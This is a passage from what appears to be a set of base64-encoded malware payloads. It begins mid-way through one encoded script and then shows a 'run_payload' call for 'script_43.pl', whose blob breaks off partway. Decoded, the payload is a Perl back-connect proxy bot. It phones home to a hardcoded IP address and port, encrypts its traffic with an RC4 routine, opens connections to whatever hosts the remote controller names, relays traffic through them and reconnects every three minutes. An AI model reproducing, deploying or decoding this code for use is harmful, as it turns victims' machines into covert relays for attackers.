3RyKCRidWZmZXIwLCA4ICsgMywgMSksIDAsIDgpKTsNCgkJCQ0KCQkJCQkJCSAkcG9ydDAgPSAgdmVjKHN1YnN0cigkYnVmZmVyMCwgMTIgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsNCgkJCQ0KCQkJCQkJIH0NCgkJDQoJCQkJCQkgZWxzZSB7DQoJCQkNCgkJCQkJCQkgZ290byBjbG9zZV87DQoJCQkJCQkgfQ0KCQkJCQkJIA0KCQkJCQkJIGV2YWwgew0KCQkJIA0KCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7DQoJCQ0KCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7DQoJCSANCgkJCQkJCQkgdmVjKG15ICR3aW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJbJGVieF0pLCAxKSA9IDE7DQoNCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQ0KCQkJDQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7DQoJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgNCwgMSkgPSAiXHgwMCI7DQoJCSANCgkJCQkJCQkgJF9yZXQwID0gMTsNCgkJCSANCgkJCQkJCSB9Ow0KCQkgDQoJCQkJCQkgY2xvc2VfOg0KCQkJCQkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIGxlbmd0aCgkcmVzcG9uY2UpKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsNCgkJCQkJCQkgDQoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7DQoJCSANCgkJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7DQoJCQkJCQkJIA0KCQkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsNCgkJIA0KCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJCSANCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOw0KCQkgDQoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsNCgkJIA0KCQkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkJCSANCgkJCQkJCSB9DQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJDQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVyMCwgJHJlbWFpbmluZywgNCk7DQoJCQkJCQkgDQoJCQkJCQkgDQoJCQkJCX0NCgkJCQkJIA0KCQkJCQkgJHJlbWFpbmluZyA9IDA7DQoJCQkJfQ0KCQkJCQ0KCQkJfQ0KCQkJIA0KCQkJICRyZW1haW5pbmc0ID0gMDsNCgkJCSANCgkJfQ0KCQkNCgkJZWxzZSB7DQoJCQkNCgkJCSAkZWF4ID0gNDsNCgkJCQ0KCQkJICRlYXggPSAkZWF4IC0gJHJlbWFpbmluZzQ7DQoJCQkgDQoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7DQoJCQkgDQoJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkgDQoJCQkgJHJlbWFpbmluZzQgKz0gJGRhdGE7DQoJCQkgDQoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOw0KCQkJIA0KCQkJICRjb3VudGVyID0gMDsNCgkJCSANCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgew0KCQkJCSANCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7DQoJCQkJIA0KCQkJCSAkZWJ4ID0gdmVjKHN1YnN0cigkYnVmZmVyMCwgMSwgMSksIDAsIDgpOw0KCQkJCSANCgkJCQkgJGVkeCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMiwgMikpOw0KCQkJIA0KCQkJCSAkX3JldCA9IDE7DQoJCQl9DQoJCQkNCgkJfQ0KCX0NCgkNCgkgY2xvc2UwOg0KCSANCgkgY2xvc2UoJHNvY2tldGFyclswXSk7DQoJIA0KCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsNCg0KCQkgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgeyBjbG9zZSgkc29ja2V0YXJyWyRpXSk7IH0NCgkJIA0KCSB9DQoJIA0KCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0NCgkgDQoJIHJldHVybiAkX3JldDsNCg0KfQ0KDQp3aGlsZSgxKQ0Kew0KCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQpOw0KCSANCgkgc2xlZXAgMTgwOw0KfQ=="

# script_43.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsDQoNCnVzZSBzdHJpY3Q7DQp1c2Ugd2FybmluZ3M7DQp1c2UgU29ja2V0Ow0KdXNlIFNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7DQp1c2UgRmNudGwgcXcoRl9HRVRGTCBGX1NFVEZMIE9fTk9OQkxPQ0spOw0KDQpteSAkaG9zdCA9ICc2Mi42MC4xMzEuMTg1JzsNCm15ICRwb3J0ID0gNDAwMTsNCg0KbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsNCg0KZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQ0KDQpzdWIgUmM0X2NyeXB0IHsNCgkgDQoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkc3ogPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcmM0ID0gIlx4MDAiIHggMjU2Ow0KCSANCgkgbXkgJHBvY2tlbW9uMCA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjEgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb24yID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uMyA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjQgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb241ID0gMDsNCgkNCgkgbXkgJHBvY2tlbW9uNiA9IDA7DQoJDQoJIG15ICRwb2NrZW1vbjcgPSAwOw0KCQ0KCSBteSAkcG9ja2Vtb244ID0gMDsNCgkgDQoJIG15ICRyY3ggPSAkc3o7DQoJIA0KCSBteSAkcnNpID0gMDsNCgkgDQoJIG15ICRyYnggPSAwOw0KCSANCgkgbXkgJGdzID0gMDsNCgkgDQoJIG15ICR0ID0gMDsNCgkgDQoJIG15ICRzdHJfdmVjID0gIlx4MDAiOw0KCSANCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7ICMg0JfQsNC/0L7Qu9C90Y/QtdC8INGB0YLRgNC+0LrRgyDQsdCw0LnRgtCw0LzQuCAwLi4yNTUg0LHRi9GB0YLRgNC+DQoJIA0KCSBkbyB7DQoJCSANCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAodmVjKHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSwgMCwgOCkgXiB2ZWMoc3Vic3RyKCQkcGFzc3csICRyYngsIDEpLCAwLCA4KSk7DQoJCSANCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcnNpKys7DQoJCQ0KCQkgJHJieCsrOw0KCQkNCgkJICRyY3gtLTsNCgkJDQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7DQoJCQkgDQoJCQkgJHJieCA9IDA7DQoJCX0NCgkJIA0KCX0gd2hpbGUoJHJjeCA+IDApOw0KCQ0KCQ0KCSB3aGlsZSgxKSB7DQoJCSANCgkJIGlmICgkZ3MgPT0gMCkgew0KCQkJIA0KCQkJICRwb2NrZW1vbjIgPSAwOw0KDQoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7DQoJCX0NCgkJIA0KCQkgaWYgKCRncyAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMDsNCg0KCQkJICRwb2NrZW1vbjIrKzsNCg0KCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9DQoJCQkgDQoJCX0NCgkJDQoJCSAkcG9ja2Vtb243ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSwgMCwgOCk7DQoJCSANCgkJICR0ID0gdmVjKHN1YnN0cigkJHBhc3N3LCAkcG9ja2Vtb24yLCAxKSwgMCwgOCk7DQoNCgkJICRwb2NrZW1vbjEgKz0gJHQ7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1Ow0KDQoJCSAkcG9ja2Vtb242ID0gdmVjKHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSwgMCwgOCk7DQoNCgkJIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkcG9ja2Vtb242Ow0KDQoJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRwb2NrZW1vbjc7DQoJCSANCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KCQkgDQoJCSAkcG9ja2Vtb24wKys7DQoNCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1Ow0KCQkgDQoJCSBpZiAoJHBvY2tlbW9uMCAhPSAwKSB7DQoJCQkgDQoJCQkgJGdzID0gMTsNCgkJCSANCgkJCSBuZXh0Ow0KCQl9DQoJCQ0KCQkgJHBvY2tlbW9uNCA9ICRzejsNCg0KCQkgJHBvY2tlbW9uMSA9IDA7DQoNCgkJICRwb2NrZW1vbjAgPSAwOw0KDQoJCSAkcG9ja2Vtb24yID0gMDsNCg0KCQkgJHBvY2tlbW9uMyA9IDA7DQoJCSANCgkJIHdoaWxlKDEpIHsNCgkJCSANCgkJCSAkcG9ja2Vtb24yKys7DQoNCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tlbW9uMiAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjcgPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjIsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7DQoNCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsNCg0KCQkJICRwb2NrZW1vbjggPSB2ZWMoc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpLCAwLCA4KTsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uODsNCgkJCSANCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNzsNCgkJIA0KCQkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9ICRzdHJfdmVjOw0KDQoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243Ow0KCQ0KCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1Ow0KDQoJCQkgJHBvY2tlbW9uMCA9IHZlYyhzdWJzdHIoJHJjNCwgJHBvY2tlbW9uOCwgMSksIDAsIDgpOw0KCQkJIA0KCQkJICRwb2NrZW1vbjUgPSB2ZWMoc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpLCAwLCA4KTsNCg0KCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsNCgkJCSANCgkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJHBvY2tlbW9uNTsNCgkJCSANCgkJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkgPSAkc3RyX3ZlYzsNCgkJCSANCgkJCSAkcG9ja2Vtb24zKys7DQoJCQkgDQoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQ0KCQkJIHsNCgkJCQkgbGFzdDsNCgkJCSB9DQoJCQkgDQoJCX0NCgkJIA0KCQkgbGFzdDsNCgl9DQoJDQoJICRyc2kgPSAwOw0KCQ0KCSAkcmN4ID0gJHN6Ow0KCQ0KCSAkcmJ4ID0gMDsNCgkNCgkgZG8gew0KCQkgDQoJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gKHZlYyhzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSksIDAsIDgpIF4gdmVjKHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSwgMCwgOCkpOw0KCQkgDQoJCSBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkgPSAkc3RyX3ZlYzsNCgkJIA0KCQkgJHJzaSsrOw0KCQkNCgkJICRyYngrKzsNCgkJDQoJCSAkcmN4LS07DQoJCQ0KCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgew0KCQkJIA0KCQkJICRyYnggPSAwOw0KCQl9DQoJCSANCgl9IHdoaWxlKCRyY3ggPiAwKTsNCgkNCn0NCg0Kc3ViIGJjY25jdCB7DQoNCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7DQoJIA0KCSBteSAkcG9ydCA9IHNoaWZ0KEBfKTsNCgkgDQoJIG15ICRyZW1haW5pbmcgPSAwOw0KCSANCgkgbXkgJHJlbWFpbmluZzQgPSAwOw0KCSANCgkgbXkgJGRvbWFpbjsNCgkgDQoJIG15ICRwb3J0MDsNCgkgDQoJIG15IEBzb2NrZXRhcnI7DQoJIA0KCSBteSBAc29ja2V0YXJyYXk7DQoJIA0KCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOw0KCSANCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOw0KCSANCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsNCgkgDQoJIG15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7DQoJIA0KCSBteSAkaXNFeGl0ID0gMDsNCgkgDQoJIG15ICRfcmV0MCA9IDA7DQoJIA0KCSBteSAkZWN4ID0gMDsNCgkgDQoJIG15ICRlYXggPSAwOw0KCSANCgkgbXkgJGRhdGEgPSAwOw0KCSANCgkgbXkgJF9yZXQgPSAwOw0KCSANCgkgbXkgJGVieCA9IDA7DQoJIA0KCSBteSAkZWR4ID0gMDsNCgkgDQoJIG15ICRjb3VudGVyID0gMDsNCgkgDQoJIG15ICRjb3VudGNjID0gMDsNCgkJIA0KCSBteSAkcmluID0gJyc7DQoJIA0KCSBteSAkZmxhZ3M7DQoJIA0KCSBteSAkc3RyX3ZlYyA9ICJceDAwIjsNCgkgDQoJIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgeyAkc29ja2V0YXJyYXlbJGldID0gMDsgfQ0KCSANCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOw0KCSANCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBJUFBST1RPX1RDUCwgVENQX05PREVMQVksIDEpOw0KCSANCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCiAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19TTkRCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0b24oJCRob3N0KSk7DQoJIA0KCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7DQoJIA0KCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsNCgkgDQoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsNCgkgDQoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsNCgkgDQoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIGxlbmd0aCgkYnVmZmVyKSk7DQoJIA0KCSB3aGlsZSgxKSB7DQoJCSANCgkJICRjb3VudGNjID0gMDsNCgkJIA0KCQkgJHJpbiA9ICcnOw0KCQkgDQoJCSBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsNCgkJIA0KCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsNCgkJCQkgDQoJCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSA9IDE7DQoJCQkJIA0KCQkJCSAkY291bnRjYysrOw0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgaWYgKCRjb3VudGNjID4gMCkgew0KCQkJIA0KCQkJIHVubGVzcyAoc2VsZWN0KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9DQoJCQkgDQoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7DQoJCQkJIA0KCQkJCSBpZiAoKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgJiYgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpKSB7DQoJCQkJCSANCgkJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWyRpXSwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsNCgkJCQkgDQoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7DQoJCQkJCSANCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsNCgkJCQkJIA0KCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsNCgkJCQkJCSANCgkJCQkJCSB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGk7DQoJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7DQoJCSANCgkJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCQkgDQoJCQkJCSB9DQoJCQkJIA0KCQkJCQkgZWxzZSB7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRpOw0KCQkJCQkJIA0KCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsNCgkJCQkJCSANCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAwLCAzKTsNCgkJIA0KCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDMsICRkYXRhKTsNCgkJCQkgDQoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7DQoJCQkJCSANCgkJCQkJIH0NCgkJCQkgfQ0KCQkJIH0NCgkJIH0NCgkJIA0KCQkgbmV4dF9fOg0KCQkgDQoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgew0KCQkJIA0KCQkJICRyaW4gPSAnJzsNCgkJCSANCgkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbMF0pLCAxKSA9IDE7DQoJCQkgDQoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOw0KCQkJIA0KCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsNCgkJCSANCgkJCSBpZiAoJHJldCA9PSAwKSB7DQoJCQkJIA0KCQkJCSAkY291bnRlcisrOw0KCQkJCSANCgkJCQkgaWYgKCRjb3VudGVyID09IDEwMCAqIDYwKSB7DQoJCQkJCSANCgkJCQkJICRjb3VudGVyID0gMDsNCg0KCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7DQoJCQkJIA0KCQkJCQkgbGFzdCBpZiAoJHJlbWFpbmluZyAhPSAwKTsNCgkJCQkgDQoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsNCgkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsNCgkJCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVybnVsbCwgbGVuZ3RoKCRidWZmZXJudWxsKSk7DQoJCQkJIH0NCgkJCQkgDQoJCQkJIG5leHQ7DQoJCQl9DQoJCQkgDQoJCX0NCgkJIA0KCQkgaWYgKCRyZW1haW5pbmcgIT0gMCB8fCAkcmVtYWluaW5nNCA9PSA0KSB7DQoJCQkgDQoJCQkgaWYgKCRlZHggPT0gMCkgew0KCQkJCSANCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7DQoJCQkJCSANCgkJCQkJICRpc0V4aXQgPSAxOw0KCQkJCQkgDQoJCQkJCSBsYXN0Ow0KCQkJCQkgDQoJCQkJfQ0KCQkJCSANCgkJCQkgZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsNCgkJCQkgDQoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOw0KCQkJCQkgDQoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsNCgkJCQkJIA0KCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7DQoJCQkJCSANCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsNCgkJIA0KCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOw0KCQkgDQoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOw0KCQkJCSANCgkJCQl9DQoJCQkNCgkJCX0NCgkJCQ0KCQkJZWxzZSB7DQoJCQkJDQoJCQkJICRlY3ggPSAkZWR4Ow0KCQkJCQ0KCQkJCSAkZWN4ID0gJGVjeCAtICRyZW1haW5pbmc7DQoJCQkJIA0KCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsNCgkJCQkNCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9DQoJCQkJIA0KCQkJCSAkcmVtYWluaW5nICs9ICRkYXRhOw0KCQkJCSANCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgew0KCQkJCQkgDQoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIwLCA0LCAkcmVtYWluaW5nKTsNCgkJCQkJIA0KCQkJCQkgaWYgKHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpLCAwLCA4KSA9PSAwKSB7DQoJCQkJCQkgDQoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOw0KCQkJCQkJIA0KCQkJCQkJICRfcmV0MCA9IDA7DQoJCQkJCQkgDQoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsNCgkJCQkJCSANCgkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxMykgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7DQoJCQkJCQkgDQoJCQkJCQkgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7DQoJCQkJCQkgDQoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsNCgkJCQkJCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7DQoJCQkJCQkgDQoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIHBhY2soIkkiLCA2NTUzNikpOw0KCSANCgkJCQkJCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgcGFjaygiSSIsIDY1NTM2KSk7DQoJCQkJCQkgDQoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsNCgkJCQkJCSANCgkJCQkJCSBpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDMpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3Vic3RyKCRidWZmZXIwLCA5LCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkpOw0KCQkJDQoJCQkJCQkJICRwb3J0MCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAxLCAxKSwgMCwgMTYpOw0KCQkJDQoJCQkJCQkgfQ0KCQkNCgkJCQkJCSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywgMSksIDAsIDgpID09IDEpIHsNCgkJCQ0KCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMCwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLCB2ZWMoc3Vic3RyKCRidWZmZXI